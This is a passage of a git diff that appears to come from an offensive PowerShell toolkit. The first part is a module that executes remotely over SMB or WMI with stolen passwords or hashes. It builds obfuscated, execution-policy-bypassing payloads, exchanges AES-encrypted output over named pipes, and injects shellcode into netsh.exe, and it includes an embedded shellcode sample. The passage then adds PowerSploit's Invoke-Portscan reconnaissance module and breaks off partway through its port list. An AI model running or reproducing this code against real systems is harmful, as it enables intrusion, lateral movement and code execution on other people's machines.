[System.Convert]::FromBase64String(`$key)} + else + {`$aesManaged.Key = `$key} + } + `$aesManaged +} +function Encrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$unencryptedString + ) + + `$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString) + `$aesManaged = Create-AesManagedObject `$key + `$encryptor = `$aesManaged.CreateEncryptor() + `$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length) + [byte[]] `$fullData = `$aesManaged.IV + `$encryptedData + [System.Convert]::ToBase64String(`$fullData) +} + +`$Output = $Command +`$Payload = Encrypt-String -unencryptedString `$Output -Key `$key +`$pipename = "$pipeNameMimi" + +`$scriptblock = +{ + param (`$PipeName,`$Payload) + add-Type -assembly "System.Core" + `$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + `$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + `$PipeSecurity.AddAccessRule(`$AccessRule) + `$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream(`$PipeName,"InOut",100, "Byte", "None", 1024, 1024, `$PipeSecurity) + `$pipe.WaitForConnection(); + `$pipeWriter = new-object System.IO.StreamWriter(`$pipe) + `$pipeWriter.AutoFlush = `$true + `$pipeWriter.WriteLine(`$Payload); + `$pipe.Dispose(); +} +add-Type -assembly "System.Core" +`$t = start-job -ScriptBlock `$scriptblock -ArgumentList @(`$pipeName,`$Payload) +`$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pipeName); +Start-Sleep $TimeoutServer +`$t.StopJob() +"@ + +$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mk)) +$mkun += $postcode +$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun) +$EncodedData = [Convert]::ToBase64String($Bytes) + +$scriptblock = +{ + param ($PipeName,$Payload) + add-Type -assembly "System.Core" + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + $pipe.WaitForConnection(); + + $pipenReader = new-object System.IO.StreamReader($pipe) + $pipeWriter = new-object System.IO.StreamWriter($pipe) + $pipeWriter.AutoFlush = $true + $pipeWriter.WriteLine($Payload); + + $pipeReader.Dispose(); + $pipe.Dispose(); +} +add-Type -assembly "System.Core" +Start-Job -ScriptBlock $scriptblock -ArgumentList @($pipeName,$EncodedData)|Out-Null +$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", $pipeName); + +$pspayloadnamedpipe = "add-Type -assembly `"System.Core`"; `$pi = new-object System.IO.Pipes.NamedPipeClientStream('$pipeName'); `$pi.Connect($TimeoutMS); `$pr = new-object System.IO.StreamReader(`$pi); `$t = `$pr.ReadLine(); `$i=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$t)); iex `$i; " + +$bytes = [System.Text.Encoding]::Unicode.GetBytes($pspayloadnamedpipe) +$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes) + +if ($PSexec) { + +$smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec)) +IEX $smbexecw +echo "`n[+] Running Invoke-SMBExec with the supplied credentials" +if ($hash){ +$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`"" +} else { +$smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`"" +} +$success = IEX $smbcmd +$success +} else { + +$wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec)) +IEX $wmiexecw +echo "`n[+] Running Invoke-WMIExec with the supplied credentials" +if ($hash){ +$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`"" +} else { +$wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`"" +} +$success = IEX $wmicmd +$success +} +if ($success -like "*Command executed*"){ + echo "`n[+] Waiting for output from named pipe.......`n" + try { + add-Type -assembly "System.Core"; + $pi = new-object System.IO.Pipes.NamedPipeClientStream("$pipeNameMimi"); + $pi.Connect($TimeoutMS); $pr = new-object System.IO.StreamReader($pi); + $wp = $pr.ReadLine(); + $pi.Dispose(); $pr.Dispose(); + $pl = Decrypt-String -key $pipekey -encryptedStringWithIV $wp + $pl + } catch { + echo "Failed conecting to named pipe: $pipeNameMimi" + } +} else {echo "Failed to run WMI/SMBEXEC"} + +} else { +if($Hash) {echo "Cannot use a hash when executing shellcode remotely as it rquired the password to create a pipe session...."; return} + +$pipekat = @" +`$pn = "$pipeName" +`$pm = "$pipeNameMimi" +`$sb = +{ +param (`$pn, `$pm) +add-Type -assembly "System.Core" +`$ps = New-Object System.IO.Pipes.PipeSecurity +`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) +`$ps.AddAccessRule(`$ar) +`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pn,"InOut",100, "Byte", "None", 1024, 1024, `$ps) +`$p.WaitForConnection(); +`$pr = new-object System.IO.StreamReader(`$p) +`$o = `$pr.ReadLine() +`$p.Dispose(); +`$pr.Dispose(); +`$s = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$o)) | out-string +`$o = IEX `$s |out-string +`$ps = New-Object System.IO.Pipes.PipeSecurity +`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) +`$ps.AddAccessRule(`$ar) +`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pm,"InOut",100, "Byte", "None", 1024, 1024, `$ps) +`$p.WaitForConnection(); +`$pw = new-object System.IO.StreamWriter(`$p) +`$pw.AutoFlush = `$true +`$pw.WriteLine(`$o); +`$p.Dispose(); +} +add-Type -assembly "System.Core" +`$t = start-job -ScriptBlock `$sb -ArgumentList @(`$pn, `$pm) +`$pl = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pn); +`$pp = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pm); +Start-Sleep $TimeoutServer +`$t.StopJob() + +"@ + +$Bytes = [System.Text.Encoding]::Unicode.GetBytes($pipekat) +$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes) + +$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($pipekat) +$CompressedStream = New-Object IO.MemoryStream +$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) +$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) +$DeflateStream.Dispose() +$CompressedScriptBytes = $CompressedStream.ToArray() +$CompressedStream.Dispose() +$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) +$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' +$payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`"" + +if ($PSexec) { + $smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec)) + IEX $smbexecw + echo "`n[+] Running Invoke-SMBExec with the supplied credentials" + if ($hash){ + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payload`"" + } else { + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payload`"" + } + $success = IEX $smbcmd + $success +} else { + $wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec)) + IEX $wmiexecw + echo "`n[+] Running Invoke-WMIExec with the supplied credentials" + if ($hash){ + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`"" + } else { + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`"" + } + $success = IEX $wmicmd + $success +} +if ($success -like "*Command executed*"){ +$postmimi = @" +`$key = "$pipekey" +function Create-AesManagedObject +{ + param + ( + [Object] + `$key, + [Object] + `$IV + ) + `$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + `$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + `$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + `$aesManaged.BlockSize = 128 + `$aesManaged.KeySize = 256 + if (`$IV) + { + if (`$IV.getType().Name -eq 'String') + {`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)} + else + {`$aesManaged.IV = `$IV} + } + if (`$key) + { + if (`$key.getType().Name -eq 'String') + {`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)} + else + {`$aesManaged.Key = `$key} + } + `$aesManaged +} +function Encrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$unencryptedString + ) + + `$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString) + `$aesManaged = Create-AesManagedObject `$key + `$encryptor = `$aesManaged.CreateEncryptor() + `$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length) + [byte[]] `$fullData = `$aesManaged.IV + `$encryptedData + [System.Convert]::ToBase64String(`$fullData) +} + +`$Output = $Command +Encrypt-String -unencryptedString `$Output -Key `$key +"@ +$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mk)) +$mkun += $postmimi +$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun) +$ed = [Convert]::ToBase64String($Bytes) + +if ($domain -eq ".") { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$username", "$Password") +} else { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$username", "$Password") +} + +try { +add-Type -assembly "System.Core" +$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeName); +$w = new-object System.IO.StreamWriter($p) +$p.Connect($TimeoutMS); +$w.WriteLine($ed); +$w.Dispose(); +$p.Dispose(); +} catch { +echo "Failed conecting to named pipe: $target : $pipeName" +} +try { +add-Type -assembly "System.Core"; +$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeNameMimi); +$p.Connect($TimeoutMS); +$r = new-object System.IO.StreamReader($p); +$rr=$r.ReadLine(); +$p.Dispose(); +$r.Dispose(); +$pl = Decrypt-String -key $pipekey -encryptedStringWithIV $rr +$pl +} catch { +echo "Failed conecting to named pipe: $target : $pipeNameMimi" +} +} else {echo "Failed to run WMI/SMBEXEC"} + +} +} else { + +if (!$Target) { +$Target = "localhost" +} +if($Hash) {echo "Cannot use a hash when executing shellcode remotely as it requires the password to create a pipe session...."; return} +echo "[+] Shellcode being executed" + +$pipekat = @" +`$pn = "$pipeName" +`$sb = +{ +param (`$pn) +add-Type -assembly "System.Core" +`$ps = New-Object System.IO.Pipes.PipeSecurity +`$ar = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) +`$ps.AddAccessRule(`$ar) +`$p = New-Object System.IO.Pipes.NamedPipeServerStream(`$pn,"InOut",100, "Byte", "None", 1024, 1024, `$ps) +`$p.WaitForConnection(); +`$pr = new-object System.IO.StreamReader(`$p) +`$o = `$pr.ReadLine() +`$p.Dispose(); +`$pr.Dispose(); +`$s = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$o)) | out-string +IEX `$s |out-string +} +add-Type -assembly "System.Core" +`$t = start-job -ScriptBlock `$sb -ArgumentList @(`$pn) +`$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", `$pn) +Start-Sleep $TimeoutServer +`$t.StopJob() +"@ + +$Bytes = [System.Text.Encoding]::Unicode.GetBytes($pipekat) +$payloadraw = 'cmd /c powershell -v 2 -e '+[Convert]::ToBase64String($bytes) + +$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($pipekat) +$CompressedStream = New-Object IO.MemoryStream +$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) +$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) +$DeflateStream.Dispose() +$CompressedScriptBytes = $CompressedStream.ToArray() +$CompressedStream.Dispose() +$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) +$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' +$payload = "cmd /c powershell -exec bypass -c `"`"$NewScript`"`"" + +if ($PSexec) { + $smbexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($smbexec)) + IEX $smbexecw + echo "`n[+] Running Invoke-SMBExec with the supplied credentials" + if ($hash){ + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payload`"" + } else { + $smbcmd = "Invoke-SMBExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payload`"" + } + $success = IEX $smbcmd + $success +} else { + $wmiexecw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wmiexec)) + IEX $wmiexecw + echo "`n[+] Running Invoke-WMIExec with the supplied credentials" + if ($hash){ + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Hash `"$hash`" -Command `"$payloadraw`"" + } else { + $wmicmd = "Invoke-WmiExec -Target `"$target`" -Domain `"$domain`" -Username `"$username`" -Password `"$password`" -Command `"$payloadraw`"" + } + $success = IEX $wmicmd + $success +} + +# example shellcode that runs netsh.exe +# $Shellcode = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1W5ldHNoLmV4ZQA=" + + +if ($success -like "*Command executed*"){ + +$sc32 = @" +`$sc32 = "$Shellcode" +`$pst = New-Object System.Diagnostics.ProcessStartInfo +`$pst.WindowStyle = 'Hidden' +`$pst.UseShellExecute = `$False +`$pst.CreateNoWindow = `$True +if (`$env:PROCESSOR_ARCHITECTURE -eq "x86"){ +`$t2 = [Convert]::FromBase64String(`$sc32) +`$pst.FileName = "C:\Windows\System32\netsh.exe" +} else { +`$pst.FileName = "C:\Windows\Syswow64\netsh.exe" +`$t2 = [Convert]::FromBase64String(`$sc32) +} +`$Process = [System.Diagnostics.Process]::Start(`$pst) +`$Process.Id +Invoke-Fsd -ProcessID `$Process.Id -Shellcode `$t2 +"@ + +$mkun = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($invokeshellcode)) +$mkun += $sc32 +$Bytes = [System.Text.Encoding]::UTF8.GetBytes($mkun) +$ed = [Convert]::ToBase64String($Bytes) + +if ($domain -eq ".") { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$username", "$Password") +} else { + $net = new-object -ComObject WScript.Network + $net.MapNetworkDrive("", "\\$target\ipc$", $false, "$domain\$username", "$Password") +} + +try { +add-Type -assembly "System.Core" +$p = new-object System.IO.Pipes.NamedPipeClientStream($target, $pipeName); +$w = new-object System.IO.StreamWriter($p) +$p.Connect($TimeoutMS); +$w.WriteLine($ed); +$w.Dispose(); +$p.Dispose(); +} catch { +echo "Failed conecting to named pipe: $target : $pipeName" +} +} else {echo "Failed to run WMI/SMBEXEC"} +} + +} + +function Random-Pipe +{ + param ( + [int]$Length + ) + $set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray() + $result = '' + for ($x = 0; $x -lt $Length; $x++) + {$result += $set | Get-Random} + return $result +} + +# creates a randon AES managed object +function Create-AesManagedObject +{ + param + ( + [Object] + $key, + [Object] + $IV + ) + $aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $aesManaged.BlockSize = 128 + $aesManaged.KeySize = 256 + if ($IV) + { + if ($IV.getType().Name -eq 'String') + {$aesManaged.IV = [System.Convert]::FromBase64String($IV)} + else + {$aesManaged.IV = $IV} + } + if ($key) + { + if ($key.getType().Name -eq 'String') + {$aesManaged.Key = [System.Convert]::FromBase64String($key)} + else + {$aesManaged.Key = $key} + } + $aesManaged +} + +# creates a randon AES symetric encryption key +function Create-AesKey() +{ + $aesManaged = Create-AesManagedObject + $aesManaged.GenerateKey() + [System.Convert]::ToBase64String($aesManaged.Key) +} + +# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted base64 block +function Encrypt-String +{ + param + ( + [Object] + $key, + [Object] + $unencryptedString + ) + + $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString) + $aesManaged = Create-AesManagedObject $key + $encryptor = $aesManaged.CreateEncryptor() + $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) + [byte[]] $fullData = $aesManaged.IV + $encryptedData + [System.Convert]::ToBase64String($fullData) +} + +# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted UTF8 data +function Decrypt-String +{ + param + ( + [Object] + $key, + [Object] + $encryptedStringWithIV + ) + $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV) + $IV = $bytes[0..15] + $aesManaged = Create-AesManagedObject $key $IV + $decryptor = $aesManaged.CreateDecryptor() + $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16) + [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0) +} + diff --git a/Modules/Invoke-Portscan.ps1 b/Modules/Invoke-Portscan.ps1 new file mode 100644 index 0000000..b03b33b --- /dev/null +++ b/Modules/Invoke-Portscan.ps1 @@ -0,0 +1,1084 @@ +function Invoke-Portscan +{ +<# +.SYNOPSIS + +Simple portscan module + +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Does a simple port scan using regular sockets, based (pretty) loosely on nmap + +.PARAMETER Hosts + +Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in + +.PARAMETER HostFile + +Input hosts from file rather than commandline + +.PARAMETER ExcludeHosts + +Exclude these comma seperated hosts + +.PARAMETER Ports + +Include these comma seperated ports (can also be a range like 80-90) + +.PARAMETER PortFile + +Input ports from a file + +.PARAMETER TopPorts + +Include the x top ports - only goes to 1000, default is top 50 + +.PARAMETER ExcludedPorts + +Exclude these comma seperated ports + +.PARAMETER SkipDiscovery + +Treat all hosts as online, skip host discovery + +.PARAMETER PingOnly + +Ping scan only (disable port scan) + +.PARAMETER DiscoveryPorts + +Comma separated ports used for host discovery. -1 is a ping + +.PARAMETER Threads + +number of max threads for the thread pool (per host) + +.PARAMETER nHosts + +number of hosts to concurrently scan + +.PARAMETER Timeout + +Timeout time on a connection in miliseconds before port is declared filtered + +.PARAMETER SleepTimer + +Wait before thread checking, in miliseconds + +.PARAMETER SyncFreq + +How often (in terms of hosts) to sync threads and flush output + +.PARAMETER T + +[0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout) + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + +.PARAMETER GrepOut + +Greppable output file + +.PARAMETER XmlOut + +output XML file + +.PARAMETER ReadableOut + +output file in 'readable' format + +.PARAMETER AllformatsOut + +output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats + +.PARAMETER noProgressMeter + +Suppresses the progress meter + +.PARAMETER quiet + +supresses returned output and don't store hosts in memory - useful for very large scans + +.PARAMETER ForceOverwrite + +Force Overwrite if output Files exist. Otherwise it throws exception + +.EXAMPLE + +C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 + +Description +----------- +Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com + +.EXAMPLE + +C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" + +Description +----------- +Does a portscan of "webstersprodigy.net", and writes a greppable output file + +.EXAMPLE + +C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet + +Description +----------- +Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats + +.LINK + +http://webstersprodigy.net +#> + + [CmdletBinding()]Param ( + #Host, Ports + [Parameter(ParameterSetName="cmdHosts", + + ValueFromPipeline=$True, + Mandatory = $True)] + [String[]] $Hosts, + + [Parameter(ParameterSetName="fHosts", + Mandatory = $True)] + [Alias("iL")] + [String] $HostFile, + + [Parameter(Mandatory = $False)] + [Alias("exclude")] + [String] $ExcludeHosts, + + [Parameter(Mandatory = $False)] + [Alias("p")] + [String] $Ports, + + [Parameter(Mandatory = $False)] + [Alias("iP")] + [String] $PortFile, + + [Parameter(Mandatory = $False)] + [String] $TopPorts, + + [Parameter(Mandatory = $False)] + [Alias("xPorts")] + [String] $ExcludedPorts, + + #Host Discovery + [Parameter(Mandatory = $False)] + [Alias("Pn")] + [Switch] $SkipDiscovery, + + [Parameter(Mandatory = $False)] + [Alias("sn")] + [Switch] $PingOnly, + + [Parameter(Mandatory = $False)] + [Alias("PS")] + [string] $DiscoveryPorts = "-1,445,80,443", + + #Timing and Performance + [Parameter(Mandatory = $False)] + [int] $Threads = 100, + + [Parameter(Mandatory = $False)] + [int] $nHosts = 25, + + [Parameter(Mandatory = $False)] + [int] $Timeout = 2000, + + [Parameter(Mandatory = $False)] + [int] $SleepTimer = 500, + + [Parameter(Mandatory = $False)] + [int] $SyncFreq = 1024, + + [Parameter(Mandatory = $False)] + [int] $T, + + #Output + [Parameter(Mandatory = $False)] + [Alias("oG")] + [String] $GrepOut, + + [Parameter(Mandatory = $False)] + [Alias("oX")] + [String] $XmlOut, + + [Parameter(Mandatory = $False)] + [Alias("oN")] + [String] $ReadableOut, + + [Parameter(Mandatory = $False)] + [Alias("oA")] + [String] $AllformatsOut, + + [Parameter(Mandatory = $False)] + [Switch] $noProgressMeter, + + [Parameter(Mandatory = $False)] + [Alias("q")] + [Switch] $quiet, + + [Parameter(Mandatory = $False)] + [Alias("F")] + [Switch] $ForceOverwrite + + #TODO add script parameter + #TODO add resume parameter + ) + + PROCESS { + + Set-StrictMode -Version 2.0 + + $version = .13 + $hostList = New-Object System.Collections.ArrayList + $portList = New-Object System.Collections.ArrayList + $hostPortList = New-Object System.Collections.ArrayList + + $scannedHostList = @() + + function Parse-Hosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $Hosts + ) + + [String[]] $iHosts = $Hosts.Split(",") + + foreach($iHost in $iHosts) + { + $iHost = $iHost.Replace(" ", "") + + if(!$iHost) + { + continue + } + + if($iHost.contains("/")) + { + $netPart = $iHost.split("/")[0] + [uint32]$maskPart = $iHost.split("/")[1] + + $address = [System.Net.IPAddress]::Parse($netPart) + + if ($maskPart -ge $address.GetAddressBytes().Length * 8) + { + throw "Bad host mask" + } + + $numhosts = [System.math]::Pow(2,(($address.GetAddressBytes().Length *8) - $maskPart)) + + $startaddress = $address.GetAddressBytes() + [array]::Reverse($startaddress) + + $startaddress = [System.BitConverter]::ToUInt32($startaddress, 0) + [uint32]$startMask = ([System.math]::Pow(2, $maskPart)-1) * ([System.Math]::Pow(2,(32 - $maskPart))) + $startAddress = $startAddress -band $startMask + + #in powershell 2.0 there are 4 0 bytes padded, so the [0..3] is necessary + $startAddress = [System.BitConverter]::GetBytes($startaddress)[0..3] + [array]::Reverse($startaddress) + + $address = [System.Net.IPAddress] [byte[]] $startAddress + + $hostList.Add($address.IPAddressToString) + + for ($i=0; $i -lt $numhosts-1; $i++) + { + + $nextAddress = $address.GetAddressBytes() + [array]::Reverse($nextAddress) + $nextAddress = [System.BitConverter]::ToUInt32($nextAddress, 0) + $nextAddress ++ + $nextAddress = [System.BitConverter]::GetBytes($nextAddress)[0..3] + [array]::Reverse($nextAddress) + + $address = [System.Net.IPAddress] [byte[]] $nextAddress + $hostList.Add($address.IPAddressToString) + + } + + } + else + { + $hostList.Add($iHost) + } + } + } + + function Parse-ILHosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $HostFile + ) + + Get-Content $HostFile | ForEach-Object { + Parse-Hosts $_ + } + } + + function Exclude-Hosts + { + Param ( + [Parameter(Mandatory = $True)] [String] $excludeHosts + ) + + [String[]] $iHosts = $excludeHosts.Split(",") + + foreach($iHost in $iHosts) + { + $iHost = $iHost.Replace(" ", "") + $hostList.Remove($iHost) + } + } + + function Get-TopPort + { + Param ( + [Parameter(Mandatory = $True)] + [ValidateRange(1,1000)] + [int] $numPorts + ) + + #list of top 1000 ports from nmap from Jun 2013 + [int[]] $topPortList = @(80,23,443,21,3389,110,445,139,143,53,135,3306,8080,22 + 1723,111,995,993,5900,1025,1720,548,113,81,6001,179,1026,2000,8443, + 8000,32768,554,26,1433,49152,2001,515,8008,49154,1027,5666,646,5000, + 5631,631,49153,8081,2049,88,79,5800,106,2121,1110,49155,6000,513, + 990,5357,49156,543,544,5101,144,7,389,8009,9999,5009,7070,5190,3000, + 5432,1900,3986,13,1029,9,5051,6646,49157,1028,873,1755,2717,4899,9100, + 119,37,1000,3001,5001,82,10010,1030,9090,2107,1024,2103,6004,1801, + 5050,19,8031,1041,255,1048,1049,1053,1054,1056,1064,3703,17,808,3689, + 1031,1044,1071,5901,100,9102,2869,4001,5120,8010,9000,2105,636,1038, + 2601,1,7000,1066,1069,625,311,280,254,4000,1761,5003,2002,1998,2005, + 1032,1050,6112,1521,2161,6002,2401,902,4045,787,7937,1058,2383,1033, + 1040,1059,50000,5555,1494,3,593,2301,3268,7938,1022,1234,1035,1036,1037, + 1074,8002,9001,464,497,1935,2003,6666,6543,24,1352,3269,1111,407,500, + 20,2006,1034,1218,3260,15000,4444,264,33,2004,1042,42510,999,3052,1023, + 222,1068,888,7100,1717,992,2008,7001,2007,8082,512,1043,2009,5801,1700, + 7019,50001,4662,2065,42,2602,3333,9535,5100,2604,4002,5002,1047,1051,1052, + 1055,1060,1062,1311,3283,4443,5225,5226,6059,6789,8089,8651,8652,8701,9415, + 9593,9594,9595,16992,16993,20828,23502,32769,33354,35500,52869,55555,55600, + 64623,64680,65000,65389,1067,13782,366,5902,9050,85,1002,5500,1863,1864, + 5431,8085,10243,45100,49999,51103,49,90,6667,1503,6881,27000,340,1500,8021, + 2222,5566,8088,8899,9071,5102,6005,9101,163,5679,146,648,1666,83,3476,5004, + 5214,8001,8083,8084,9207,14238,30,912,12345,2030,2605,6,541,4,1248,3005,8007, + 306,880,2500,1086,1088,2525,4242,8291,9009,52822,900,6101,2809,7200,211,800, + 987,1083,12000,705,711,20005,6969,13783,1045,1046,1061,1063,1070,1072,1073, + 1075,1077,1078,1079,1081,1082,1085,1093,1094,1096,1098,1099,1100,1104,1106, + 1107,1108,1148,1169,1272,1310,1687,1718,1783,1840,2100,2119,2135,2144,2160, + 2190,2260,2381,2399,2492,2607,2718,2811,2875,3017,3031,3071,3211,3300,3301, + 3323,3325,3351,3404,3551,3580,3659,3766,3784,3801,3827,3998,4003,4126,4129, + 4449,5222,5269,5633,5718,5810,5825,5877,5910,5911,5925,5959,5960,5961,5962, + 5987,5988,5989,6123,6129,6156,6389,6580,6901,7106,7625,7777,7778,7911,8086, + 8181,8222,8333,8400,8402,8600,8649,8873,8994,9002,9011,9080,9220,9290,9485, + 9500,9502,9503,9618,9900,9968,10002,10012,10024,10025,10566,10616,10617,10621, + 10626,10628,10629,11110,13456,14442,15002,15003,15660,16001,16016,16018,17988, + 19101,19801,19842,20000,20031,20221,20222,21571,22939,24800,25734,27715,28201, + 30000,30718,31038,32781,32782,33899,34571,34572,34573,40193,48080,49158,49159, + 49160,50003,50006,50800,57294,58080,60020,63331,65129,691,212,1001,1999,2020, + 2998,6003,7002,50002,32,2033,3372,99,425,749,5903,43,458,5405,6106,6502,7007, + 13722,1087,1089,1124,1152,1183,1186,1247,1296,1334,1580,1782,2126,2179,2191,2251, + 2522,3011,3030,3077,3261,3493,3546,3737,3828,3871,3880,3918,3995,4006,4111,4446, + 5054,5200,5280,5298,5822,5859,5904,5915,5922,5963,7103,7402,7435,7443,7512,8011, + 8090,8100,8180,8254,8500,8654,9091,9110,9666,9877,9943,9944,9998,10004,10778,15742, + 16012,18988,19283,19315,19780,24444,27352,27353,27355,32784,49163,49165,49175, + 50389,50636,51493,55055,56738,61532,61900,62078,1021,9040,666,700,84,545,1112, + 